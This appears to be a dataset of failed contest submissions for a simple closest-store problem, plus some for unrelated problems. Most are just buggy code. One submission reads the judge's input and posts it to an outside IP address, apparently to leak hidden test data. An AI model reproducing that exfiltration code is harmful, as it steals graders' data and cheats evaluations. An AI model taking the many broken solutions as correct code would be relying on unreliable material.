Problem:


Score : 100 points

Problem Statement

Snuke lives at position x on a number line.
On this line, there are two stores A and B, respectively at position a and b, that offer food for delivery.

Snuke decided to get food delivery from the closer of stores A and B.
Find out which store is closer to Snuke's residence.

Here, the distance between two points s and t on a number line is represented by |s-t|.

Constraints

1 \leq x \leq 1000

1 \leq a \leq 1000

1 \leq b \leq 1000

x, a and b are pairwise distinct.

The distances between Snuke's residence and stores A and B are different.

Input

Input is given from Standard Input in the following format:

x a b

Output

If store A is closer, print A; if store B is closer, print B.

Sample Input 1

5 2 7

Sample Output 1

B

The distances between Snuke's residence and stores A and B are 3 and 2, respectively.
Since store B is closer, print B.

Sample Input 2

1 999 1000

Sample Output 2

A



Sample input:
5 2 7


Sample output:
B

Submission status: Runtime Error

Solution code:
#include <bits/stdc++.h>
using namespace std;
#define rep(i,N) for(int i=0,i##_max=(N);i<i##_max;++i)
#define repp(i,l,r) for(int i=(l),i##_max=(r);i<i##_max;++i)
#define per(i,N) for(int i=(N)-1;i>=0;--i)
#define perr(i,l,r) for(int i=r-1,i##_min(l);i>=i##_min;--i)
#define all(arr) (arr).begin(), (arr).end()
#define SP << " " <<
#define SPF << " "
#define SPEEDUP cin.tie(0);ios::sync_with_stdio(false);
#define MAX_I INT_MAX //1e9
#define MIN_I INT_MIN //-1e9
#define MAX_UI UINT_MAX //1e9
#define MAX_LL LLONG_MAX //1e18
#define MIN_LL LLONG_MIN //-1e18
#define MAX_ULL ULLONG_MAX //1e19
  typedef long long ll;
  typedef pair<int,int> PII;
  typedef pair<char,char> PCC;
  typedef pair<ll,ll> PLL;
  typedef pair<char,int> PCI;
  typedef pair<int,char> PIC;
  typedef pair<ll,int> PLI;
  typedef pair<int,ll> PIL; 
  typedef pair<ll,char> PLC; 
  typedef pair<char,ll> PCL; 

inline void YesNo(bool b){ cout << (b?"Yes" : "No") << endl;}
inline void YESNO(bool b){ cout << (b?"YES" : "NO") << endl;}
inline void Yay(bool b){ cout << (b?"Yay!" : ":(") << endl;}

int main(void){
  SPEEDUP
  cout << setprecision(15);
  int x, a, b;cin >> x >> a >> b;
  if(abs(x-a) > abs(x-b)) cout << "B" << endl;
  else cout << "A" << endl;
  return 0;
}

Submission status: Runtime Error

Solution code:
# ABC071-C　
N = int(input())
A_list = list(map(int, input().split()))

A_set = set(A_list)
A_set = sorted(A_set, reverse=True)

side_list = [0, 0]

for i in range(len(A_set)):   # 大きい順に取っていき，リストで個数を確認する
    if len(side_list) >= 4:
        break
    count = A_list.count(A_set[i])    # リストの個数を確認
    if count == 2 or count == 3:
        side_list.append(A_set[i])
    if count >= 4:
        side_list.append(A_set[i])
        side_list.append(A_set[i])
        
side_list.sort(reverse = True)
print(side_list[0] * side_list[1])

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
if min(abs(x-a)>abs(x-b)):
  print("A")
else:
  print("B")

Submission status: Runtime Error

Solution code:
x, a, b - map(int,input().split())
if abs(x-a)<abs(x-b):
    print(a)
else:
    print(b)

Submission status: Runtime Error

Solution code:
program name

    implicit none
    integer x,a,b
    integer xa,xb
    read*, x,a,b
    xa = abs(x-a)
    xb = abs(x-b)
    if ( xa<xb ) then
        print*, "A"
    else
        print*, "B"
    end if

end program

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
if abs(x-a)<abs(x-b):
  print("A")
else print("B")

Submission status: Runtime Error

Solution code:
x,a,b = map(int,input().split())
print(min(abs(x-a),abs(x-b))

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
if abs(x - a) >= abs(x - b):
    print("B"):
else:
    print("A")

Submission status: Runtime Error

Solution code:
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())

if abs(x-a) > abs(x-b):
  print(B)
else:
  print(A)

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
if abs(z-a) <  abs(z-b):
  print('A')
else:
  print('B')

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
if (abs(x - a) < abs(x - b):
    print('A')
else:
    print('B')

Submission status: Runtime Error

Solution code:
x,a,b = map(int, input())
if abs(x -a) > abs(x - b):
    print("B")
else:
    print("A")

Submission status: Runtime Error

Solution code:
S = input()
A = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"] 
B = [0]*26
flag = -1

for i in range(len(S)):
  
  for j in range(len(A)):
    if S[i] == A[j]:
      B[j] += 1
      break
  
  if i == len(S)
    break

for k in range(B):
  if B[k] == 0
    print(A[k])
    flag = 1
    break
    
if flag == -1:
  print("none")

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
print("A" if |x-a|<|x-b| else "B")

Submission status: Runtime Error

Solution code:
x = int(input())
a, b = (abs(int(i)-x) for i in input().split())
if a > b:
  print("B")
else:
  print("A")

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())

if abs(x - a) < abs(x - b):
    print(A)
else:
    print(B)

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
if abs(x-a) < abs(x-b):
  print(A)
else:
  print(B)

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())

if abs(a-x) < abs(b-x):
    print(B)
else:
    print(A)

Submission status: Runtime Error

Solution code:
# -*- coding: utf-8 -*-

n = int(input())
a = list(map(int,input().split()))

def array_count(arr):
    arr_target = [[]]
    cnt = 1
    for i in range(1,len(arr)):
        if arr[i] == arr[i-1]:
            cnt += 1
        else:
            arr_target.append([arr[i-1],cnt])
            cnt = 1
    arr_target.append([arr[len(arr)-1],cnt])
    del arr_target[0]
    return arr_target


a.sort()
a = array_count(a)

b= []

for i in range(len(a)):
    if a[i][1] >= 2:
        b.append(a[i][0])
    if a[i][1] >= 4:
        b.append(a[i][0])

b.sort()
b.reverse()

if len(b) <= 1:
    print(0)
else:
    print(b[0]*b[1])

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input(' '))
print('A') if abs(x-a)<abs(x-b) else print('B')

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
disA=abs(x-a)
disB=abs(x-b)
if disA>disB:
  print(B)
else:
  print(A)

Submission status: Runtime Error

Solution code:
n = int(input())
A = list(map(int, input().split()))
a = list(set(A))
a.sort(reverse = True)
B = []
for i in a:
    if A.count(i) >= 2:
        B.append(i)
if len(B) <= 1:
    print(0)
else:
    print(B[0]*B[1])

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input.split())
if x-a>x-b:
  print('B')
else:
  print('A')

Submission status: Runtime Error

Solution code:
input()
a = list(map(int, input().split()))
a.sort(reverse=True)
i, c = 0, 0
m = list()
while i < len(a)-1:
    if a[i] == a[i+1]:
        m.append(a[i])
        i += 1
        c += 1
    i += 1
    if c == 2:
        break
if c == 2:
    print(m[0]*m[1])
else:
    print(0)

Submission status: Runtime Error

Solution code:
x, a, b = int(input().split())

if abs(x - a) < abs(x- b):
    print("A")
else :
    print("B")

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
if abs(x - a) < abs(x - b):
  print(A)
else:
  print(B)

Submission status: Runtime Error

Solution code:
s=list(input())
s.sort()
l=[chr(ord("a")+i) for i in range(26)]
n=[]
for j in l:
  if j not in s:
    n.pop(j)
n.sort()
print(n)

Submission status: Runtime Error

Solution code:
a,b,c=map(int,input().split())
print('A' if abs(a,b)<abs(a,c) else 'B')

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())

if min(abs(x-a) > abs(x-b)):
    print('B')
else:
    print('A')

Submission status: Runtime Error

Solution code:
x,a,b = map(int,input().split())
A = abs(x-a)
B = abs(x-b)
if A<B:
  print("A")
else;
  print("B")

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
if abs(x-a)<abs(x-b)
    print('A')
else:
    print('B')

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
if abs(x-a) < abs(x-b):
  pirnt("A")
else:
  print("B")

Submission status: Runtime Error

Solution code:
X,t=map(int,input().split())
print(X-t if X-t>0 else 0)

Submission status: Runtime Error

Solution code:
#71a
x,a,b = map(int,input().split())
print('A' if abs(x-a)<(x-c) else 'B')

Submission status: Runtime Error

Solution code:
#71a
x,a,b=map(int,input().split())
print('A' if abs(x-a)<(x-c) else 'B')

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
if abs(x-a) < abs(x-b):
    print("A")
else:
    pring("B")

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input())
print('AB'[abs(a-x)>abs(b-x)])

Submission status: Runtime Error

Solution code:
x, a, b = list(map(int, input().split()))

if math.fabs(x - a) > math.fabs(x - b):
  print("B")
else:
  print("A")

Submission status: Runtime Error

Solution code:
from collections import Counter
N = int(input())
A = Counter(map(int, input().split()))
B = [0, 0]
for i in A.keys():
    if A[i] >= 2:
        B.append(i)
    if A[i] >= 4:
        B.append(i)
B.sort()
print(B[-1]*B[-2])

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input())
if abs(x-a)<abs(x-b):
  print('A')
else:
  print('B')

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input().split())
if abs(x-a)<abs(x-b):
  print('A'):
else:
  print('B')

Submission status: Runtime Error

Solution code:
x,a,b=map(int,input())
if abs(x-a)<abs(x-b):
  print('A'):
else:
  print('B')

Submission status: Runtime Error

Solution code:
x=input()
a,b=input().split()
x=int(x)
a=int(a)
b=int(b)
if abs(x-a)<abs(x-b):
   print("A")
else:
   print("B")

Submission status: Runtime Error

Solution code:
x=input()
a,b=input().split()
x=int(x)
a=int()
b=int()
if abs(x-a)<abs(x-b):
   print("A")
else:
   print("B")

Submission status: Runtime Error

Solution code:
N=int(input())
A=list(map(int, input().split(' ')))
A.sort()
A.reverse()
a=0
b=0

for i in range(N):
    if A.count(A[i])>=4:
        print(int(A[i])**2)
        break
    elif A.count(A[i])>=2 and a==0:
        a=int(A[i])
        continue
    elif A.count(A[i])>=2 and a!=0:
        b=int(A[i])
        print(a*b)
        break
    else:
        continue
else:
    print(0)

Submission status: Runtime Error

Solution code:
x, a, b = map(int(input())
A = abs(x-a)
B = abs(x-b)
if A < B:
    print("A")
else:
    print("B")

Submission status: Runtime Error

Solution code:
a, b, c = map(int,input().split())
R = int(|a-b|)
E = int(|a-c|)
if R > E:
 print("B")
else:
 print("A")

Submission status: Runtime Error

Solution code:
a, b, c = map(int,input().split())
if |a-b| > |a-c|:
 print("B")
else:
 print("A")

Submission status: Runtime Error

Solution code:
if __name__ == '__main__':
    x, a, b = int(input())
    if abs(x-a) < abs(x-b):
        print('A')
    else:
        print('B')

Submission status: Runtime Error

Solution code:
x,a,b=raw_input().split()
print max(abs(a-x),abs(b-x))

Submission status: Runtime Error

Solution code:
import math
#x a bを設定する
x,a,b = map(int,input().split())
#x からaまでの距離とxからbまでの距離を計算する
a_distant = math.sqrt((a - x)^2)
b_distant = math.sqrt((b - x)^2)
#aまでとbまでを比較して短い方を出力する
if a_distant > b_distant:
    print("B")
else:
    print("A")

Submission status: Runtime Error

Solution code:
#x a bを設定する
x,a,b = map(int,input().split())
#x からaまでの距離とxからbまでの距離を計算する
a_distant = (a - x)^2
b_distant = (b - x)^2
#aまでとbまでを比較して短い方を出力する
if a_distant > b_distant:
    print("B")
if b_distant > a_distant
    print("A")

Submission status: Runtime Error

Solution code:

input()
param_list = sorted([int(v) for v in input().split(" ")], reverse=True)
result = 0
duplicate_param = 0
count = 1
 
for v in param_list:
  if v == duplicate_param:
    if count == 1:
      result = v
      duplicate_param = 0
    else:
      result *= v
      print(result)
      break
    count += 1
  else:
    duplicate_param = v

if result == 0:
  print(0)

Submission status: Runtime Error

Solution code:
import numpy as np

a = np.array([1,2,3],[2,3],[3])
print(a)

Submission status: Runtime Error

Solution code:
x,a,b=map(int, input()split())
if abs(x-b) > abs(x-a):
  print('A')
else:
  print('B')

Submission status: Runtime Error

Solution code:
print(delta x: A if x[0]>x[1] else B, list(map(int,input().split())))

Submission status: Runtime Error

Solution code:
def solve(): # 071C - Make a Rectangle
    n = int(input())
    sides = list(map(int, input().split(" ")))
    check_dual = {}
    possible_sides = []

    for i in sides:
        if i in check_dual:
            check_dual[i] += 1
        else:
            check_dual[i] = 1

    tmp_square = 0
    for k, v in check_dual.items():
        if v >= 4 and k > tmp_square:
            tmp_square = k
        elif v == 2 or v == 3:
            possible_sides.append(k)
        else:
            pass

    possible_sides.sort(reverse=True)
    if tmp_square == 0 and len(possible_sides) < 2:
        print(0)
    elif tmp_square != 0 and len(possible_sides) == 0:
        print(tmp_square ** 2)
    elif tmp_square != 0 and len(possible_sides) == 1:
        print(max(tmp_square ** 2, tmp_square * possible_sides[0]))
    else:
        print(max(tmp_square ** 2, possible_sides[0] * possible_sides[1]))


solve()

Submission status: Runtime Error

Solution code:
def solve(): # 071C - Make a Rectangle
    n = int(input())
    sides = list(map(int, input().split(" ")))
    check_dual = {}
    possible_sides = []

    for i in sides:
        if i in check_dual:
            check_dual[i] += 1
        else:
            check_dual[i] = 1

    tmp_square = 0
    for k, v in check_dual.items():
        if v >= 4 and k > tmp_square:
            tmp_square = k
        elif v == 2 or v == 3:
            possible_sides.append(k)
        else:
            pass

    possible_sides.sort(reverse=True)
    if tmp_square == 0 and len(possible_sides) < 2:
        print(0)
    else:
        print(max(possible_sides[0] * possible_sides[1],
                  tmp_square ** 2))
solve()

Submission status: Runtime Error

Solution code:
inp = raw_input()
list = inp.split()
x = int(list[0])
a = int(list[1])
b = int(list[2])
if abs(a-x)<abs(b-x):
  print('A')
else:
  print('B')

Submission status: Runtime Error

Solution code:
inp = raw_input()
list = inp.split()
x = int(list[0])
a = int(list[1])
b = int(list[2])
if abs(a-x)<abs(b-x):
  print('A')
else:
  print('B')

Submission status: Runtime Error

Solution code:
mod = 1000000007
n = int(input())

up = input()
dw = input()

arrays = 1

j = 0
justBefore = None

if up[j] == dw[j]:
    arrays *= 3
    j += 1
    justBefore = 0
else:
    arrays *= 6
    j += 2
    justBefore = 1

while(j != len(up)-1):
    if justBefore:
        if up[j] == dw[j]:
            arrays *= 1
            j += 1
            justBefore = 0
        else:
            arrays *= 4
            j += 2
            justBefore = 1
    else:
        if up[j] == dw[j]:
            arrays *= 2
            j += 1
            justBefore = 0
        else:
            arrays *= 2
            j += 2
            justBefore = 1

print(arrays%mod)

Submission status: Runtime Error

Solution code:
mod = 1000000007
n = int(input())

up = input()
dw = input()

arrays = 1

j = 0
justBefore = None

if up[j] == dw[j]:
    arrays *= 3
    j += 1
    justBefore = 0
else:
    arrays *= 6
    j += 2
    justBefore = 1

while(j != len(up)-1):
    if justBefore:
        if up[j] == dw[j]:
            arrays *= 1
            j += 1
            justBefore = 0
        else:
            arrays *= 4
            j += 2
            justBefore = 1
    else:
        if up[j] == dw[j]:
            arrays *= 2
            j += 1
            justBefore = 0
        else:
            arrays *= 2
            j += 2
            justBefore = 1
            
print(arrays/mod)

Submission status: Runtime Error

Solution code:
import sys

for line in sys.stdin:
    x = int(line.split(' ')[0])
    a = int(line.split(' ')[1])
    b = int(line.split(' ')[2])

# print x, a, b

if abs(x % a) > abs(x % b):
    print 'A'
else:
    print 'B'

Submission status: Runtime Error

Solution code:
import sys

x = int(sys.argv[1])
a = int(sys.argv[2])
b = int(sys.argv[3])

if abs(x % a) > abs(x % b):
    print 'A'
else:
    print 'B'

Submission status: Runtime Error

Solution code:
#! /bin/python
# coding:utf-8

N = input()
A = map(int, raw_input().split())
s = set()
dep = []

for i in A:
	if i in s:
		dep.append(i)
	s.add(i)

dep.sort()
dep.reverse()

if (len(dep) < 2):
	print 0
else:
	print dep[0] * dep[1]

Submission status: Runtime Error

Solution code:
    x, a, b = map(int, input().split(' '))
     
    dist_atox = abs(a-x)
    dist_btox = abs(b-x)
    y = dist_atox - dist_btox
     
    print("A" if dist_atox < dist_btox else "B")

Submission status: Runtime Error

Solution code:
N=int(raw_input().strip())
A=map(int,raw_input().split())

A.sort()
Auni=list(set(A))
Auni.reverse()

num=[]
for i in Auni:
    num.append(A.count(i))

edge=[0,0]
for j in range(2):
    for i in range(len(num)):
        if num[i]>=2:
            num[i]=num[i]-2
            edge[j]=Auni[i]
            break
print edge[0]*edge[1]

Submission status: Runtime Error

Solution code:
def read_line(*types): return [f(a) for a, f in zip(input().split(), types)]

n,  = read_line(int)

m = 1000000007

domino = []
domino.append(input())
domino.append(input())

# print(domino[0])
# print(domino[1])

def compress(line):
    x = [line[0]]
    for c in line[1:]:
        if x[-1] != c:
            x.append(c)
    return x

domino[0] = compress(domino[0])
domino[1] = compress(domino[1])

xs = []
for i in range(len(domino[0])):
    xs.append(domino[0][i] != domino[1][i])
# print(xs)

patterns = None
if xs[0]:
    patterns = 6
else:
    patterns = 3

lastX = xs[0]
for x in xs[1:]:
    if x:
        # T -> T
        if lastX:
            patterns *= 3
        else:
            # F -> T
            patterns *= 2
    else:
        # T -> F
        if lastX:
            patterns *= 1
        else: # F -> F
            patterns *= 2
    lastX = x

print(patterns % m)

# T -> T

# 6 * 4 = 24

# 0|1120
# 1|2002

# 0
# 2

# 1
# 0

# 1
# 2

# 2
# 0

# 2
# 1


# F -> T

# 3 * 2 = 6

# 0|12
# 0|21
# 
# 1|02
# 1|20
# 
# 2|10
# 2|01


# T -> F

# 6 * 1 = 6

# 0|2
# 1|2

# 0|1
# 2|1

# 1|2
# 0|2

# 1|0
# 2|0

# 2|1
# 0|1

# 2|0
# 1|0

# F -> F

# 3 * 2 = 6

# 0 | 12
# 1 | 02
# 2 | 01

Submission status: Runtime Error

Solution code:
N = int(input())
A = list(map(int, input().split()))
A.sort()
A.reverse()
que = []

def solve(i):
    if len(que) >=  2:
        return True
    num = A[i]
    check = num in que
    if A.count(num) > 3:
        que.append(num)
        que.append(num)
    elif A.count(num) > 1 and check == False:
        que.append(num)
    if i == N - 1:
        return False
    else:
        return solve(i+1)

a = solve(0)
if a == True:
    ans = que[0] * que[1]
    print(ans)
else:
    print(0)

Submission status: Runtime Error

Solution code:
from collections import Counter
n = int(input())
a = [int(i) for i in input().split()]
b = []
for key,val in Counter(a).items():
    if val >= 2:
        b.append(key)
        if val >= 4:
            b.append(key)

b.sort()

if len(b)>=2:
    x = b.pop()
    y = b.pop()
    ans = x*y
else:
    ans = 0

print(ans)

Submission status: Runtime Error

Solution code:
cou = int(input())
bars = input().split()
two = [0, 0]
i = 0
ca = len(bars)
while i < ca:
    if bars[i] in two:
        pass
    else:
        now = bars[i]
        if bars.count(now) > 3:
            two.extend(now)
            two.extend(now)
        elif bars.count(now) > 1:
            two.extend(now)
        else:
            pass
    i += 1
two.sort(key=int)
ans = int(two[-1]) * int(two[-2])
print(ans)

Submission status: Runtime Error

Solution code:
n = input()

a = map(int, raw_input().split())

a.sort()
a.reverse()
f = 1
tmp = [0]
ct = 0

while len(a) != 0:
    nxt = a.pop(0)
    key = a.pop(0)
    if key == nxt:
        tmp.append(key)
	ct += 1
    	if ct == 2:
            break
    key = nxt

if len(tmp) > 2:
    print tmp[1] * tmp[2]
else:
    print 0

Submission status: Runtime Error

Solution code:
lst = list(map(int, input().split()))

x = lst[0]
a = lst[1]
b = lst[2]

if abs(b-x) > (a-x):
    return "A"
else:
    return "B"

Submission status: Runtime Error

Solution code:
myinput=raw_input()
a=[int(x) for x in myinput.split()]
if abs(a[0]-a[1])<abs(a[0]-a[2]):
    print("A")
else:
    print("B")

Submission status: Runtime Error

Solution code:
#Make a Rectangle
N = int(input())
A = list(map(int, input().split()))
 
a = sorted(list(set(A)), reverse=True)
b = []
for ai in a:
    c = A.count(ai)
    for i in range(c//2):
        b.append(ai)
    if (len(b)>=4):
        break
 
if (len(b)<2):
    print(0)
else:
    print(b[0]*b[1])

Submission status: Runtime Error

Solution code:
from collections import Counter


def main():
    N = int(input())
    counter = Counter(map(int, input().split()))

    a = 0
    b = 0

    def sort_func(t):
        return t[0]
    for length, n in sorted(counter.items(),
                            key=sort_func,
                            reverse=True):
        if n < 2:
            continue
        if a == 0:
            a = length
            if n >= 4:
                b = length
                break
        else:
            b = length
            break
    print(a * b)

if __name__ == '__main__':
    main()

Submission status: Runtime Error

Solution code:
import math
x,a,b = map(int,input().split(' '))
c = a-x
d = b-x

e = abs(c)
d = abs(d)

if e<f:
	print('A')
else:
	print('B')

Submission status: Runtime Error

Solution code:
x,a,b = map(int,raw_input.split())
if abs(x-a) > abs(x-b):
    print "B"
else:
    print "A"

Submission status: Runtime Error

Solution code:
x, a, b = map(int, input().split())
 
if abs(x-a) > abs(x-b):
  print(A)
else:
  print(B)

Submission status: Runtime Error

Solution code:
x, a, b = input().split()
 
if abs(x-a) > abs(x-b):
  print(B)
else:
  print(A)

Submission status: Runtime Error

Solution code:
x, a, b = input().split()

if abs(x-a) > abs(x-b):
  print(A)
else:
  print(B)

Submission status: Runtime Error

Solution code:
# coding=utf-8
# a,b = map(int, raw_input().split())

x,a,b = map(int, input().split())
if abs(x-a) < abs(x-b):
    print('A')
else :
    print('B')

Submission status: Runtime Error

Solution code:
x, a, b = (int(i) for i in input().split())
if abs(x-a) < abs(x-b):
    print(A)
else:
    print(B)

Submission status: Runtime Error

Solution code:
x,a,b=list(map(int,input().split()))
if(math.fabs(x-a)>math.fabs(x-b)):
    print("B")
else:
    print("A")